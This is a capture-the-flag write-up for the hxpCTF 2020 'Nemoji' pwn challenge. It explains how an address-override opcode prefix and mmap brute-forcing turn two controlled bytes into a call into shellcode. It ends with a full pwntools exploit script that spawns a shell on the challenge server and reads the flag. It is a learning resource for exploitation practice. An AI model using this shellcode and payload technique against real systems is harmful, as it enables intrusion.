hxpCTF 2020 - Nemoji writeup

hxpCTF 2020 - Nemoji writeup

This challenge is no-eeeeeeeeeemoji from Dragon Sector CTF 2020, edited by replacing some code with NOPs.

Analyzing the old binary

There are many writeups about the original challenge by Dragon Sector, which allowed us to move quickly on this point.
First it prints the memory mappings of the process, then it loads a menu which has three options:
(b)eer - Generates a random address, allocates a RWX page via mmap() and saves it to a global variable, then prints it
(c)ow - Does nothing
(h)orse - Uses the allocated RWX map in the following way:

  1. Takes 0x1000 bytes from user and saves it at the random address generated before
  2. Overwrites parts of it with character ‘A’ and some shellcodes, with the final layout being the following:
    0x0 - 0x100: User-controlled
    0x100 - 0x200: ‘A’ filler
    0x200 - 0x202: User-controlled
    0x202 - 0x23E: Shellcode N. 2, starting with some NOPs
    0x23E - 0x300: ‘A’ filler
    0x300 - 0x400: User controlled
    0x400 - 0x413: Shellcode N. 1
    0x413 - 0x1000: User controlled
  3. Jumps at 0x400, which sets all registers apart from RSP and RIP to 0xdeadbeeddeadbeef before jumping at 0x200.
  4. The second shellcode exits the process

The patch

The binary had been patched to replace three areas of code with NOPs, to make the original exploit unusable:

  • The binary does not print the memory mappings anymore
  • The random generation of the random address generated by (b)eer, allowing any address of the kind xxxxx000
  • A puts in the second shellcode has been NOPped out

The exploit

So we only have control on two bytes before the second shellcode is executed.
The idea is to use the NOPs after our two bytes to execute a relative call, however there are some problems with this:

  • We can’t control any register, so we have no control over the jump location
  • All the registers are at 0xdeadbeefdeadbeef, so all locations would be unsuitable

To bypass the first problem we can bruteforce the mmap result until it fits
Many other solutions exploited the cwde instruction, which sign-extends AX to EAX but also 0s the top 32 bites of RAX, enabling them to use the
ff 90 90 90 90 90 call QWORD PTR [rax-0x6f6f6f70]
instruction.
However we found something a little bit different: opcode prefixes.
In particular the following one allowed us to achieve the exploit:

Address override, 67h. Changes size of address expected by the instruction. 32-bit address could switch to 16-bit and vice versa.

Therefore the following hex code is compiled this way:
67 ff 90 90 90 90 90 call QWORD PTR [eax-0x6f6f6f70]

So by waiting for mmap to return 0x6f3e4000 and placing the address of our shellcode at eax-0x6f6f6f70 we managed to get the flag.

In the end our exploit looked like this:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
#!/usr/bin/env python3
from pwn import *

context.log_level = "warning"
context.arch = 'x86_64'

payload = asm(shellcraft.amd64.linux.sh())
payload += b"\xcc"*(512-len(payload))
payload += b"\x67\xff"
payload += b"\xcc"*(3967-len(payload))
payload += b'\x00\x40\x3e\x6f\x00\x00\x00\x00'
payload += b'\xcc' * (4096 - len(payload))


def recv_menu():
p.recvuntil("cow beer\n\n")

def beer():
p.sendline("b")
p.recvuntil("map() at @")
x = p.recvline().strip().decode()[2:]
return x.zfill(5)

while 1:
try:
p = remote('116.203.18.177', 65432)

while 1:
mmap = beer()
if(mmap == '6f3e4000'):
print(f'mmap: {mmap}')
print(f'mmap+0x200 {hex(int(mmap, 16)+0x200)}')
p.sendline('h')
p.sendline(payload)
p.sendline("cat flag.txt")
print(p.recvall())
p.close()
except EOFError:
print('error')
p.close()
continue

Running it returned the flag

1
hxp{5uch_4_ch34p_c45h_3rrr_fl4g_gr4b}

The working exploit was written thanks to [fibonhack] @soras19 and [Ulisse] @Bonfee